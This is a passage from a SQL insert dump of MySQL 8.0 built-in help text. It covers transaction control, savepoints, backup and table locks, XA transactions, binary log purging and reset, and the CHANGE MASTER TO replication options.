RELEASE completion, which\ncan be useful if the completion_type system variable is set to cause\nchaining or release completion by default.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/commit.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/commit.html'),(567,'ROLLBACK',42,'Syntax:\nSTART TRANSACTION\n [transaction_characteristic [, transaction_characteristic] ...]\n\ntransaction_characteristic: {\n WITH CONSISTENT SNAPSHOT\n | READ WRITE\n | READ ONLY\n}\n\nBEGIN [WORK]\nCOMMIT [WORK] [AND [NO] CHAIN] [[NO] RELEASE]\nROLLBACK [WORK] [AND [NO] CHAIN] [[NO] RELEASE]\nSET autocommit = {0 | 1}\n\nThese statements provide control over use of transactions:\n\no START TRANSACTION or BEGIN start a new transaction.\n\no COMMIT commits the current transaction, making its changes permanent.\n\no ROLLBACK rolls back the current transaction, canceling its changes.\n\no SET autocommit disables or enables the default autocommit mode for\n the current session.\n\nBy default, MySQL runs with autocommit mode enabled. This means that,\nwhen not otherwise inside a transaction, each statement is atomic, as\nif it were surrounded by START TRANSACTION and COMMIT. You cannot use\nROLLBACK to undo the effect; however, if an error occurs during\nstatement execution, the statement is rolled back.\n\nTo disable autocommit mode implicitly for a single series of\nstatements, use the START TRANSACTION statement:\n\nSTART TRANSACTION;\nSELECT @A:=SUM(salary) FROM table1 WHERE type=1;\nUPDATE table2 SET summary=@A WHERE type=1;\nCOMMIT;\n\nWith START TRANSACTION, autocommit remains disabled until you end the\ntransaction with COMMIT or ROLLBACK. The autocommit mode then reverts\nto its previous state.\n\nSTART TRANSACTION permits several modifiers that control transaction\ncharacteristics. To specify multiple modifiers, separate them by\ncommas.\n\no The WITH CONSISTENT SNAPSHOT modifier starts a consistent read for\n storage engines that are capable of it. This applies only to InnoDB.\n The effect is the same as issuing a START TRANSACTION followed by a\n SELECT from any InnoDB table. See\n https://dev.mysql.com/doc/refman/8.0/en/innodb-consistent-read.html.\n The WITH CONSISTENT SNAPSHOT modifier does not change the current\n transaction isolation level, so it provides a consistent snapshot\n only if the current isolation level is one that permits a consistent\n read. The only isolation level that permits a consistent read is\n REPEATABLE READ. For all other isolation levels, the WITH CONSISTENT\n SNAPSHOT clause is ignored. A warning is generated when the WITH\n CONSISTENT SNAPSHOT clause is ignored.\n\no The READ WRITE and READ ONLY modifiers set the transaction access\n mode. They permit or prohibit changes to tables used in the\n transaction. The READ ONLY restriction prevents the transaction from\n modifying or locking both transactional and nontransactional tables\n that are visible to other transactions; the transaction can still\n modify or lock temporary tables.\n\n MySQL enables extra optimizations for queries on InnoDB tables when\n the transaction is known to be read-only. Specifying READ ONLY\n ensures these optimizations are applied in cases where the read-only\n status cannot be determined automatically. See\n https://dev.mysql.com/doc/refman/8.0/en/innodb-performance-ro-txn.htm\n l for more information.\n\n If no access mode is specified, the default mode applies. Unless the\n default has been changed, it is read/write. It is not permitted to\n specify both READ WRITE and READ ONLY in the same statement.\n\n In read-only mode, it remains possible to change tables created with\n the TEMPORARY keyword using DML statements. Changes made with DDL\n statements are not permitted, just as with permanent tables.\n\n For additional information about transaction access mode, including\n ways to change the default mode, see [HELP SET TRANSACTION].\n\n If the read_only system variable is enabled, explicitly starting a\n transaction with START TRANSACTION READ WRITE requires the\n CONNECTION_ADMIN privilege (or the deprecated SUPER privilege).\n\n*Important*:\n\nMany APIs used for writing MySQL client applications (such as JDBC)\nprovide their own methods for starting transactions that can (and\nsometimes should) be used instead of sending a START TRANSACTION\nstatement from the client. See\nhttps://dev.mysql.com/doc/refman/8.0/en/connectors-apis.html, or the\ndocumentation for your API, for more information.\n\nTo disable autocommit mode explicitly, use the following statement:\n\nSET autocommit=0;\n\nAfter disabling autocommit mode by setting the autocommit variable to\nzero, changes to transaction-safe tables (such as those for InnoDB or\nNDB) are not made permanent immediately. You must use COMMIT to store\nyour changes to disk or ROLLBACK to ignore the changes.\n\nautocommit is a session variable and must be set for each session. To\ndisable autocommit mode for each new connection, see the description of\nthe autocommit system variable at\nhttps://dev.mysql.com/doc/refman/8.0/en/server-system-variables.html.\n\nBEGIN and BEGIN WORK are supported as aliases of START TRANSACTION for\ninitiating a transaction. START TRANSACTION is standard SQL syntax, is\nthe recommended way to start an ad-hoc transaction, and permits\nmodifiers that BEGIN does not.\n\nThe BEGIN statement differs from the use of the BEGIN keyword that\nstarts a BEGIN ... END compound statement. The latter does not begin a\ntransaction. See [HELP BEGIN END].\n\n*Note*:\n\nWithin all stored programs (stored procedures and functions, triggers,\nand events), the parser treats BEGIN [WORK] as the beginning of a BEGIN\n... END block. Begin a transaction in this context with START\nTRANSACTION instead.\n\nThe optional WORK keyword is supported for COMMIT and ROLLBACK, as are\nthe CHAIN and RELEASE clauses. CHAIN and RELEASE can be used for\nadditional control over transaction completion. The value of the\ncompletion_type system variable determines the default completion\nbehavior. See\nhttps://dev.mysql.com/doc/refman/8.0/en/server-system-variables.html.\n\nThe AND CHAIN clause causes a new transaction to begin as soon as the\ncurrent one ends, and the new transaction has the same isolation level\nas the just-terminated transaction. The new transaction also uses the\nsame access mode (READ WRITE or READ ONLY) as the just-terminated\ntransaction. The RELEASE clause causes the server to disconnect the\ncurrent client session after terminating the current transaction.\nIncluding the NO keyword suppresses CHAIN or RELEASE completion, which\ncan be useful if the completion_type system variable is set to cause\nchaining or release completion by default.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/commit.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/commit.html'),(568,'SAVEPOINT',42,'Syntax:\nSAVEPOINT identifier\nROLLBACK [WORK] TO [SAVEPOINT] identifier\nRELEASE SAVEPOINT identifier\n\nInnoDB supports the SQL statements SAVEPOINT, ROLLBACK TO SAVEPOINT,\nRELEASE SAVEPOINT and the optional WORK keyword for ROLLBACK.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/savepoint.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/savepoint.html'),(569,'ROLLBACK TO SAVEPOINT',42,'Syntax:\nSAVEPOINT identifier\nROLLBACK [WORK] TO [SAVEPOINT] identifier\nRELEASE SAVEPOINT identifier\n\nInnoDB supports the SQL statements SAVEPOINT, ROLLBACK TO SAVEPOINT,\nRELEASE SAVEPOINT and the optional WORK keyword for ROLLBACK.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/savepoint.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/savepoint.html'),(570,'RELEASE SAVEPOINT',42,'Syntax:\nSAVEPOINT identifier\nROLLBACK [WORK] TO [SAVEPOINT] identifier\nRELEASE SAVEPOINT identifier\n\nInnoDB supports the SQL statements SAVEPOINT, ROLLBACK TO SAVEPOINT,\nRELEASE SAVEPOINT and the optional WORK keyword for ROLLBACK.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/savepoint.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/savepoint.html'),(571,'LOCK INSTANCE FOR BACKUP',42,'Syntax:\nLOCK INSTANCE FOR BACKUP\n\nUNLOCK INSTANCE\n\nLOCK INSTANCE FOR BACKUP acquires an instance-level backup lock that\npermits DML during an online backup while preventing operations that\ncould result in an inconsistent snapshot.\n\nExecuting the LOCK INSTANCE FOR BACKUP statement requires the\nBACKUP_ADMIN privilege. The BACKUP_ADMIN privilege is automatically\ngranted to users with the RELOAD privilege when performing an in-place\nupgrade to MySQL 8.0 from an earlier version.\n\nMultiple sessions can hold a backup lock simultaneously.\n\nUNLOCK INSTANCE releases a backup lock held by the current session. A\nbackup lock held by a session is also released if the session is\nterminated.\n\nLOCK INSTANCE FOR BACKUP prevents files from being created, renamed, or\nremoved. REPAIR TABLE TRUNCATE TABLE, OPTIMIZE TABLE, and account\nmanagement statements are blocked. See\nhttps://dev.mysql.com/doc/refman/8.0/en/account-management-statements.html\n. Operations that modify InnoDB files that are not recorded in the\nInnoDB redo log are also blocked.\n\nLOCK INSTANCE FOR BACKUP permits DDL operations that only affect\nuser-created temporary tables. In effect, files that belong to\nuser-created temporary tables can be created, renamed, or removed while\na backup lock is held. Creation of binary log files is also permitted.\n\nPURGE BINARY LOGS should not be issued while a LOCK INSTANCE FOR BACKUP\nstatement is in effect for the instance, because it contravenes the\nrules of the backup lock by removing files from the server. From MySQL\n8.0.28, this is disallowed.\n\nA backup lock acquired by LOCK INSTANCE FOR BACKUP is independent of\ntransactional locks and locks taken by FLUSH TABLES tbl_name [,\ntbl_name] ... WITH READ LOCK, and the following sequences of statements\nare permitted:\n\nLOCK INSTANCE FOR BACKUP;\nFLUSH TABLES tbl_name [, tbl_name] ... WITH READ LOCK;\nUNLOCK TABLES;\nUNLOCK INSTANCE;\n\nFLUSH TABLES tbl_name [, tbl_name] ... WITH READ LOCK;\nLOCK INSTANCE FOR BACKUP;\nUNLOCK INSTANCE;\nUNLOCK TABLES;\n\nThe lock_wait_timeout setting defines the amount of time that a LOCK\nINSTANCE FOR BACKUP statement waits to acquire a lock before giving up.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/lock-instance-for-backup.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/lock-instance-for-backup.html'),(572,'LOCK TABLES',42,'Syntax:\nLOCK {TABLE | TABLES}\n tbl_name [[AS] alias] lock_type\n [, tbl_name [[AS] alias] lock_type] ...\n\nlock_type: {\n READ [LOCAL]\n | [LOW_PRIORITY] WRITE\n}\n\nUNLOCK {TABLE | TABLES}\n\nMySQL enables client sessions to acquire table locks explicitly for the\npurpose of cooperating with other sessions for access to tables, or to\nprevent other sessions from modifying tables during periods when a\nsession requires exclusive access to them. A session can acquire or\nrelease locks only for itself. One session cannot acquire locks for\nanother session or release locks held by another session.\n\nLocks may be used to emulate transactions or to get more speed when\nupdating tables. This is explained in more detail in\nhttps://dev.mysql.com/doc/refman/8.0/en/lock-tables.html#lock-tables-re\nstrictions.\n\nLOCK TABLES explicitly acquires table locks for the current client\nsession. Table locks can be acquired for base tables or views. You must\nhave the LOCK TABLES privilege, and the SELECT privilege for each\nobject to be locked.\n\nFor view locking, LOCK TABLES adds all base tables used in the view to\nthe set of tables to be locked and locks them automatically. For tables\nunderlying any view being locked, LOCK TABLES checks that the view\ndefiner (for SQL SECURITY DEFINER views) or invoker (for all views) has\nthe proper privileges on the tables.\n\nIf you lock a table explicitly with LOCK TABLES, any tables used in\ntriggers are also locked implicitly, as described in\nhttps://dev.mysql.com/doc/refman/8.0/en/lock-tables.html#lock-tables-an\nd-triggers.\n\nIf you lock a table explicitly with LOCK TABLES, any tables related by\na foreign key constraint are opened and locked implicitly. For foreign\nkey checks, a shared read-only lock (LOCK TABLES READ) is taken on\nrelated tables. For cascading updates, a shared-nothing write lock\n(LOCK TABLES WRITE) is taken on related tables that are involved in the\noperation.\n\nUNLOCK TABLES explicitly releases any table locks held by the current\nsession. LOCK TABLES implicitly releases any table locks held by the\ncurrent session before acquiring new locks.\n\nAnother use for UNLOCK TABLES is to release the global read lock\nacquired with the FLUSH TABLES WITH READ LOCK statement, which enables\nyou to lock all tables in all databases. See [HELP FLUSH]. (This is a\nvery convenient way to get backups if you have a file system such as\nVeritas that can take snapshots in time.)\n\nLOCK TABLE is a synonym for LOCK TABLES; UNLOCK TABLE is a synonym for\nUNLOCK TABLES.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/lock-tables.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/lock-tables.html'),(573,'SET TRANSACTION',42,'Syntax:\nSET [GLOBAL | SESSION] TRANSACTION\n transaction_characteristic [, transaction_characteristic] ...\n\ntransaction_characteristic: {\n ISOLATION LEVEL level\n | access_mode\n}\n\nlevel: {\n REPEATABLE READ\n | READ COMMITTED\n | READ UNCOMMITTED\n | SERIALIZABLE\n}\n\naccess_mode: {\n READ WRITE\n | READ ONLY\n}\n\nThis statement specifies transaction characteristics. It takes a list\nof one or more characteristic values separated by commas. Each\ncharacteristic value sets the transaction isolation level or access\nmode. The isolation level is used for operations on InnoDB tables. The\naccess mode specifies whether transactions operate in read/write or\nread-only mode.\n\nIn addition, SET TRANSACTION can include an optional GLOBAL or SESSION\nkeyword to indicate the scope of the statement.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/set-transaction.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/set-transaction.html'),(574,'XA',42,'Syntax:\nXA {START|BEGIN} xid [JOIN|RESUME]\n\nXA END xid [SUSPEND [FOR MIGRATE]]\n\nXA PREPARE xid\n\nXA COMMIT xid [ONE PHASE]\n\nXA ROLLBACK xid\n\nXA RECOVER [CONVERT XID]\n\nFor XA START, the JOIN and RESUME clauses are recognized but have no\neffect.\n\nFor XA END the SUSPEND [FOR MIGRATE] clause is recognized but has no\neffect.\n\nEach XA statement begins with the XA keyword, and most of them require\nan xid value. An xid is an XA transaction identifier. It indicates\nwhich transaction the statement applies to. xid values are supplied by\nthe client, or generated by the MySQL server. An xid value has from one\nto three parts:\n\nxid: gtrid [, bqual [, formatID ]]\n\ngtrid is a global transaction identifier, bqual is a branch qualifier,\nand formatID is a number that identifies the format used by the gtrid\nand bqual values. As indicated by the syntax, bqual and formatID are\noptional. The default bqual value is \'\' if not given. The default\nformatID value is 1 if not given.\n\ngtrid and bqual must be string literals, each up to 64 bytes (not\ncharacters) long. gtrid and bqual can be specified in several ways. You\ncan use a quoted string (\'ab\'), hex string (X\'6162\', 0x6162), or bit\nvalue (b\'nnnn\').\n\nformatID is an unsigned integer.\n\nThe gtrid and bqual values are interpreted in bytes by the MySQL\nserver\'s underlying XA support routines. However, while an SQL\nstatement containing an XA statement is being parsed, the server works\nwith some specific character set. To be safe, write gtrid and bqual as\nhex strings.\n\nxid values typically are generated by the Transaction Manager. Values\ngenerated by one TM must be different from values generated by other\nTMs. A given TM must be able to recognize its own xid values in a list\nof values returned by the XA RECOVER statement.\n\nXA START xid starts an XA transaction with the given xid value. Each XA\ntransaction must have a unique xid value, so the value must not\ncurrently be used by another XA transaction. Uniqueness is assessed\nusing the gtrid and bqual values. All following XA statements for the\nXA transaction must be specified using the same xid value as that given\nin the XA START statement. If you use any of those statements but\nspecify an xid value that does not correspond to some existing XA\ntransaction, an error occurs.\n\nBeginning with MySQL 8.0.31, XA START, XA BEGIN, XA END, XA COMMIT, and\nXA ROLLBACK statements are not filtered by the default database when\nthe server is running with --replicate-do-db or --replicate-ignore-db.\n\nOne or more XA transactions can be part of the same global transaction.\nAll XA transactions within a given global transaction must use the same\ngtrid value in the xid value. For this reason, gtrid values must be\nglobally unique so that there is no ambiguity about which global\ntransaction a given XA transaction is part of. The bqual part of the\nxid value must be different for each XA transaction within a global\ntransaction. (The requirement that bqual values be different is a\nlimitation of the current MySQL XA implementation. It is not part of\nthe XA specification.)\n\nThe XA RECOVER statement returns information for those XA transactions\non the MySQL server that are in the PREPARED state. (See\nhttps://dev.mysql.com/doc/refman/8.0/en/xa-states.html.) The output\nincludes a row for each such XA transaction on the server, regardless\nof which client started it.\n\nXA RECOVER requires the XA_RECOVER_ADMIN privilege. This privilege\nrequirement prevents users from discovering the XID values for\noutstanding prepared XA transactions other than their own. It does not\naffect normal commit or rollback of an XA transaction because the user\nwho started it knows its XID.\n\nXA RECOVER output rows look like this (for an example xid value\nconsisting of the parts \'abc\', \'def\', and 7):\n\nmysql> XA RECOVER;\n+----------+--------------+--------------+--------+\n| formatID | gtrid_length | bqual_length | data |\n+----------+--------------+--------------+--------+\n| 7 | 3 | 3 | abcdef |\n+----------+--------------+--------------+--------+\n\nThe output columns have the following meanings:\n\no formatID is the formatID part of the transaction xid\n\no gtrid_length is the length in bytes of the gtrid part of the xid\n\no bqual_length is the length in bytes of the bqual part of the xid\n\no data is the concatenation of the gtrid and bqual parts of the xid\n\nXID values may contain nonprintable characters. XA RECOVER permits an\noptional CONVERT XID clause so that clients can request XID values in\nhexadecimal.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/xa-statements.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/xa-statements.html'),(575,'PURGE BINARY LOGS',43,'Syntax:\nPURGE { BINARY | MASTER } LOGS {\n TO \'log_name\'\n | BEFORE datetime_expr\n}\n\nThe binary log is a set of files that contain information about data\nmodifications made by the MySQL server. The log consists of a set of\nbinary log files, plus an index file (see\nhttps://dev.mysql.com/doc/refman/8.0/en/binary-log.html).\n\nThe PURGE BINARY LOGS statement deletes all the binary log files listed\nin the log index file prior to the specified log file name or date.\nBINARY and MASTER are synonyms. Deleted log files also are removed from\nthe list recorded in the index file, so that the given log file becomes\nthe first in the list.\n\nPURGE BINARY LOGS requires the BINLOG_ADMIN privilege. This statement\nhas no effect if the server was not started with the --log-bin option\nto enable binary logging.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/purge-binary-logs.html\n\n','PURGE BINARY LOGS TO \'mysql-bin.010\';\nPURGE BINARY LOGS BEFORE \'2019-04-02 22:46:26\';\n','https://dev.mysql.com/doc/refman/8.0/en/purge-binary-logs.html'),(576,'PURGE MASTER LOGS',43,'Syntax:\nPURGE { BINARY | MASTER } LOGS {\n TO \'log_name\'\n | BEFORE datetime_expr\n}\n\nThe binary log is a set of files that contain information about data\nmodifications made by the MySQL server. The log consists of a set of\nbinary log files, plus an index file (see\nhttps://dev.mysql.com/doc/refman/8.0/en/binary-log.html).\n\nThe PURGE BINARY LOGS statement deletes all the binary log files listed\nin the log index file prior to the specified log file name or date.\nBINARY and MASTER are synonyms. Deleted log files also are removed from\nthe list recorded in the index file, so that the given log file becomes\nthe first in the list.\n\nPURGE BINARY LOGS requires the BINLOG_ADMIN privilege. This statement\nhas no effect if the server was not started with the --log-bin option\nto enable binary logging.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/purge-binary-logs.html\n\n','PURGE BINARY LOGS TO \'mysql-bin.010\';\nPURGE BINARY LOGS BEFORE \'2019-04-02 22:46:26\';\n','https://dev.mysql.com/doc/refman/8.0/en/purge-binary-logs.html'),(577,'RESET MASTER',43,'Syntax:\nRESET MASTER [TO binary_log_file_index_number]\n\n*Warning*:\n\nUse this statement with caution to ensure you do not lose any wanted\nbinary log file data and GTID execution history.\n\nRESET MASTER requires the RELOAD privilege.\n\nFor a server where binary logging is enabled (log_bin is ON), RESET\nMASTER deletes all existing binary log files and resets the binary log\nindex file, resetting the server to its state before binary logging was\nstarted. A new empty binary log file is created so that binary logging\ncan be restarted.\n\nFor a server where GTIDs are in use (gtid_mode is ON), issuing RESET\nMASTER resets the GTID execution history. The value of the gtid_purged\nsystem variable is set to an empty string (\'\'), the global value (but\nnot the session value) of the gtid_executed system variable is set to\nan empty string, and the mysql.gtid_executed table is cleared (see\nhttps://dev.mysql.com/doc/refman/8.0/en/replication-gtids-concepts.html\n#replication-gtids-gtid-executed-table). If the GTID-enabled server has\nbinary logging enabled, RESET MASTER also resets the binary log as\ndescribed above. Note that RESET MASTER is the method to reset the GTID\nexecution history even if the GTID-enabled server is a replica where\nbinary logging is disabled; RESET REPLICA has no effect on the GTID\nexecution history. For more information on resetting the GTID execution\nhistory, see\nhttps://dev.mysql.com/doc/refman/8.0/en/replication-gtids-lifecycle.html\n#replication-gtids-execution-history.\n\nIssuing RESET MASTER without the optional TO clause deletes all binary\nlog files listed in the index file, resets the binary log index file to\nbe empty, and creates a new binary log file starting at 1. Use the\noptional TO clause to start the binary log file index from a number\nother than 1 after the reset.\n\nCheck that you are using a reasonable value for the index number. If\nyou enter an incorrect value, you can correct this by issuing another\nRESET MASTER statement with or without the TO clause. If you do not\ncorrect a value that is out of range, the server cannot be restarted.\n\nThe following example demonstrates TO clause usage:\n\nRESET MASTER TO 1234;\n\nSHOW BINARY LOGS;\n+-------------------+-----------+-----------+\n| Log_name | File_size | Encrypted |\n+-------------------+-----------+-----------+\n| source-bin.001234 | 154 | No |\n+-------------------+-----------+-----------+\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/reset-master.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/reset-master.html'),(578,'SET SQL_LOG_BIN',43,'Syntax:\nSET sql_log_bin = {OFF|ON}\n\nThe sql_log_bin variable controls whether logging to the binary log is\nenabled for the current session (assuming that the binary log itself is\nenabled). The default value is ON. To disable or enable binary logging\nfor the current session, set the session sql_log_bin variable to OFF or\nON.\n\nSet this variable to OFF for a session to temporarily disable binary\nlogging while making changes to the source that you do not want\nreplicated to the replica.\n\nSetting the session value of this system variable is a restricted\noperation. The session user must have privileges sufficient to set\nrestricted session variables. See\nhttps://dev.mysql.com/doc/refman/8.0/en/system-variable-privileges.html\n.\n\nIt is not possible to set the session value of sql_log_bin within a\ntransaction or subquery.\n\nSetting this variable to OFF prevents new GTIDs from being assigned to\ntransactions in the binary log. If you are using GTIDs for replication,\nthis means that even when binary logging is later enabled again, the\nGTIDs written into the log from this point do not account for any\ntransactions that occurred in the meantime, so in effect those\ntransactions are lost.\n\nmysqldump adds a SET @@SESSION.sql_log_bin=0 statement to a dump file\nfrom a server where GTIDs are in use, which disables binary logging\nwhile the dump file is being reloaded. The statement prevents new GTIDs\nfrom being generated and assigned to the transactions in the dump file\nas they are executed, so that the original GTIDs for the transactions\nare used.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/set-sql-log-bin.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/set-sql-log-bin.html'),(579,'CHANGE MASTER TO',43,'Syntax:\nCHANGE MASTER TO option [, option] ... [ channel_option ]\n\noption: {\n MASTER_BIND = \'interface_name\'\n | MASTER_HOST = \'host_name\'\n | MASTER_USER = \'user_name\'\n | MASTER_PASSWORD = \'password\'\n | MASTER_PORT = port_num\n | PRIVILEGE_CHECKS_USER = {\'account\' | NULL}\n | REQUIRE_ROW_FORMAT = {0|1}\n | REQUIRE_TABLE_PRIMARY_KEY_CHECK = {STREAM | ON | OFF}\n | ASSIGN_GTIDS_TO_ANONYMOUS_TRANSACTIONS = {OFF | LOCAL | uuid}\n | MASTER_LOG_FILE = \'source_log_name\'\n | MASTER_LOG_POS = source_log_pos\n | MASTER_AUTO_POSITION = {0|1}\n | RELAY_LOG_FILE = \'relay_log_name\'\n | RELAY_LOG_POS = relay_log_pos\n | MASTER_HEARTBEAT_PERIOD = interval\n | MASTER_CONNECT_RETRY = interval\n | MASTER_RETRY_COUNT = count\n | SOURCE_CONNECTION_AUTO_FAILOVER = {0|1}\n | MASTER_DELAY = interval\n | MASTER_COMPRESSION_ALGORITHMS = \'algorithm[,algorithm][,algorithm]\'\n | MASTER_ZSTD_COMPRESSION_LEVEL = level\n | MASTER_SSL = {0|1}\n | MASTER_SSL_CA = \'ca_file_name\'\n | MASTER_SSL_CAPATH = \'ca_directory_name\'\n | MASTER_SSL_CERT = \'cert_file_name\'\n | MASTER_SSL_CRL = \'crl_file_name\'\n | MASTER_SSL_CRLPATH = \'crl_directory_name\'\n | MASTER_SSL_KEY = \'key_file_name\'\n | MASTER_SSL_CIPHER = \'cipher_list\'\n | MASTER_SSL_VERIFY_SERVER_CERT = {0|1}\n | MASTER_TLS_VERSION = \'protocol_list\'\n | MASTER_TLS_CIPHERSUITES = \'ciphersuite_list\'\n | MASTER_PUBLIC_KEY_PATH = \'key_file_name\'\n | GET_MASTER_PUBLIC_KEY = {0|1}\n | NETWORK_NAMESPACE = \'namespace\'\n | IGNORE_SERVER_IDS = (server_id_list),\n | GTID_ONLY = {0|1}\n}\n\nchannel_option:\n FOR CHANNEL channel\n\nserver_id_list:\n [server_id [, server_id] ... ]\n\nCHANGE MASTER TO changes the parameters that the replica server uses\nfor connecting to the source and for reading data from the source. It\nalso updates the contents of the replication metadata repositories (see\nhttps://dev.mysql.com/doc/refman/8.0/en/replica-logs.html). From MySQL\n8.0.23, use CHANGE REPLICATION SOURCE TO in place of CHANGE MASTER TO,\nwhich is deprecated from that release. In releases before MySQL 8.0.23,\nuse CHANGE MASTER TO.\n\nCHANGE MASTER TO requires the REPLICATION_SLAVE_ADMIN privilege (or the\ndeprecated SUPER privilege).\n\nOptions that you do not specify on a CHANGE MASTER TO statement retain\ntheir value, except as indicated in the following discussion. In most\ncases, there is therefore no need to specify options that do not\nchange.\n\nValues used for SOURCE_HOST and other CHANGE REPLICATION SOURCE TO\noptions are checked for linefeed (\\n or 0x0A) characters. The presence\nof such characters in these values causes the statement to fail with an\nerror.\n\nThe optional FOR CHANNEL channel clause enables you to name which\nreplication channel the statement applies to. Providing a FOR CHANNEL\nchannel clause applies the CHANGE MASTER TO statement to a specific\nreplication channel, and is used to add a new channel or modify an\nexisting channel. For example, to add a new channel called channel2:\n\nCHANGE MASTER TO MASTER_HOST=host1, MASTER_PORT=3002 FOR CHANNEL \'channel2\'\n\nIf no clause is named and no extra channels exist, a CHANGE MASTER TO\nstatement applies to the default channel, whose name is the empty\nstring (\"\"). When you have set up multiple replication channels, every\nCHANGE MASTER TO statement must name a channel using the FOR CHANNEL\nchannel clause. See\nhttps://dev.mysql.com/doc/refman/8.0/en/replication-channels.html for\nmore information.\n\nFor some of the options of the CHANGE MASTER TO statement, you must\nissue a STOP SLAVE statement prior to issuing a CHANGE MASTER TO\nstatement (and a START SLAVE statement afterwards). Sometimes, you only\nneed to stop the replication SQL (applier) thread or the replication\nI/O (receiver) thread, not both:\n\no When the applier thread is stopped, you can execute CHANGE MASTER TO\n using any combination that is otherwise allowed of RELAY_LOG_FILE,\n RELAY_LOG_POS, and MASTER_DELAY options, even if the replication\n receiver thread is running. No other options may be used with this\n statement when the receiver thread is running.\n\no When the receiver thread is stopped, you can execute CHANGE MASTER TO\n using any of the options for this statement (in any allowed\n combination) except RELAY_LOG_FILE, RELAY_LOG_POS, MASTER_DELAY, or\n MASTER_AUTO_POSITION = 1 even when the applier thread is running.\n\no Both the receiver thread and the applier thread must be stopped\n before issuing a CHANGE MASTER TO statement that employs\n MASTER_AUTO_POSITION = 1, GTID_ONLY = 1, or\n ASSIGN_GTIDS_TO_ANONYMOUS_TRANSACTIONS.\n\nYou can check the current state of the replication applier thread and\nreplication receiver thread using SHOW SLAVE STATUS. Note that the\nGroup Replication applier channel (group_replication_applier) has no\nreceiver thread, only an applier thread.\n\nCHANGE MASTER TO statements have a number of side-effects and\ninteractions that you should be aware of beforehand:\n\no CHANGE MASTER TO causes an implicit commit of an ongoing transaction.\n See https://dev.mysql.com/doc/refman/8.0/en/implicit-commit.html.\n\no CHANGE MASTER TO causes the previous values for MASTER_HOST,\n MASTER_PORT, MASTER_LOG_FILE, and MASTER_LOG_POS to be written to the\n error log, along with other information about the replica\'s state\n prior to execution.\n\no If you are using statement-based replication and temporary tables, it\n is possible for a CHANGE MASTER TO statement following a STOP SLAVE\n statement to leave behind temporary tables on the replica. A warning\n (ER_WARN_OPEN_TEMP_TABLES_MUST_BE_ZERO\n (https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-reference\n .html#error_er_warn_open_temp_tables_must_be_zero)) is issued\n whenever this occurs. You can avoid this in such cases by making sure\n that the value of the Replica_open_temp_tables or\n Slave_open_temp_tables system status variable is equal to 0 prior to\n executing such a CHANGE MASTER TO statement.\n\no When using a multithreaded replica (replica_parallel_workers > 0 or\n slave_parallel_workers > 0), stopping the replica can cause gaps in\n the sequence of transactions that have been executed from the relay\n log, regardless of whether the replica was stopped intentionally or\n otherwise. When such gaps exist, issuing CHANGE MASTER TO fails. The\n solution in this situation is to issue START SLAVE UNTIL\n SQL_AFTER_MTS_GAPS which ensures that the gaps are closed. From MySQL\n 8.0.26, the process of checking for gaps in the sequence of\n transactions is skipped entirely when GTID-based replication and GTID\n auto-positioning are in use, because gaps in transactions can be\n resolved using GTID auto-positioning. In that situation, CHANGE\n MASTER TO can still be used.\n\nThe following options are available for CHANGE MASTER TO statements:\n\no ASSIGN_GTIDS_TO_ANONYMOUS_TRANSACTIONS = {OFF | LOCAL | uuid}\n\n Makes the replication channel assign a GTID to replicated\n transactions that do not have one, enabling replication from a source\n that does not use GTID-based replication, to a replica that does. For\n a multi-source replica, you can have a mix of channels that use\n ASSIGN_GTIDS_TO_ANONYMOUS_TRANSACTIONS, and channels that do not. The\n default is OFF, meaning that the feature is not used.\n\n LOCAL assigns a GTID including the replica\'s own UUID (the\n server_uuid setting). uuid assigns a GTID including the specified\n UUID, such as the server_uuid setting for the replication source\n server. Using a nonlocal UUID lets you differentiate between\n transactions that originated on the replica and transactions that\n originated on the source, and for a multi-source replica, between\n transactions that originated on different sources. The UUID you\n choose only has significance for the replica\'s own use. If any of the\n transactions sent by the source do have a GTID already, that GTID is\n retained.\n\n Channels specific to Group Replication cannot use\n ASSIGN_GTIDS_TO_ANONYMOUS_TRANSACTIONS, but an asynchronous\n replication channel for another source on a server instance that is a\n Group Replication group member can do so. In that case, do not\n specify the Group Replication group name as the UUID for creating the\n GTIDs.\n\n To set ASSIGN_GTIDS_TO_ANONYMOUS_TRANSACTIONS to LOCAL or uuid, the\n replica must have gtid_mode=ON set, and this cannot be changed\n afterwards. This option is for use with a source that has binary log\n file position based replication, so MASTER_AUTO_POSITION=1 cannot be\n set for the channel. Both the replication SQL thread and the\n replication I/O (receiver) thread must be stopped before setting this\n option.\n\n *Important*:\n\n A replica set up with ASSIGN_GTIDS_TO_ANONYMOUS_TRANSACTIONS on any\n channel cannot be promoted to replace the replication source server\n in the event that a failover is required, and a backup taken from the\n replica cannot be used to restore the replication source server. The\n same restriction applies to replacing or restoring other replicas\n that use ASSIGN_GTIDS_TO_ANONYMOUS_TRANSACTIONS on any channel.\n\n For further restrictions and information, see\n https://dev.mysql.com/doc/refman/8.0/en/replication-gtids-assign-anon\n .html.\n\no GET_MASTER_PUBLIC_KEY = {0|1}\n\n Enables RSA key pair-based password exchange by requesting the public\n key from the source. The option is disabled by default.\n\n This option applies to replicas that authenticate with the\n caching_sha2_password authentication plugin. For connections by\n accounts that authenticate using this plugin, the source does not\n send the public key unless requested, so it must be requested or\n specified in the client. If MASTER_PUBLIC_KEY_PATH is given 